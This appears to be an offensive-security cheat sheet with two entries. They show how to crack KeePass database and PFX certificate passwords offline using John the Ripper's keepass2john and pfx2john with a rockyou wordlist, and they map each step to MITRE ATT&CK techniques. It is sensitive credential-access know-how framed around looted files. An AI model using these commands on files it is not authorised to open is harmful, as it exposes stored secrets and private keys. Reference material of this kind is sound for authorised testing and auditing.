John

KeePass databases (.kdbx) looted from a share or a compromised host are frequent sources of privileged credentials. John the Ripper's keepass2john helper converts the database master-key parameters into a crackable hash, which john then attacks with a wordlist. It handles both password-only and keyfile-protected databases (pass the keyfile with -k). Fully offline; a recovered master password opens every secret in the vault. Command Reference: KeePass DB: Database.kdbx Hash File: hashes.txt Wordlist: /usr/share/wordlists/rockyou.txt

# extract the master-key hash from the .kdbx
keepass2john Database.kdbx > hashes.txt

# crack the master password
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

john --show hashes.txt

Native

Credential Access

MITRE

T1555.005

Requires

No_Creds

Refs

github.com/openwall/john

hashcat.net/wiki/doku.php?id=example_hashes

attack.mitre.org/techniques/T1555/005/

A password-protected PKCS#12 certificate store (.pfx / .p12) recovered during collection can be opened offline. John the Ripper's pfx2john helper extracts the encryption parameters into a crackable hash, which john then brute-forces against a wordlist. Recovering the passphrase unlocks the private key and certificate, which can be used for PKINIT/Schannel authentication (e.g. via certipy or Rubeus). Runs entirely offline with no target interaction. Command Reference: PFX File: cert.pfx Hash File: hashes.txt Wordlist: /usr/share/wordlists/rockyou.txt

# extract the crackable hash from the .pfx
pfx2john cert.pfx > hashes.txt

# crack the passphrase (john auto-detects the pfx format)
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

john --show hashes.txt

Native

Credential Access

MITRE

T1110.002

Requires

No_Creds

Services

ADCS

Refs

github.com/openwall/john

www.thehacker.recipes/ad/movement/kerberos/pass-the-certificate

attack.mitre.org/techniques/T1110/002/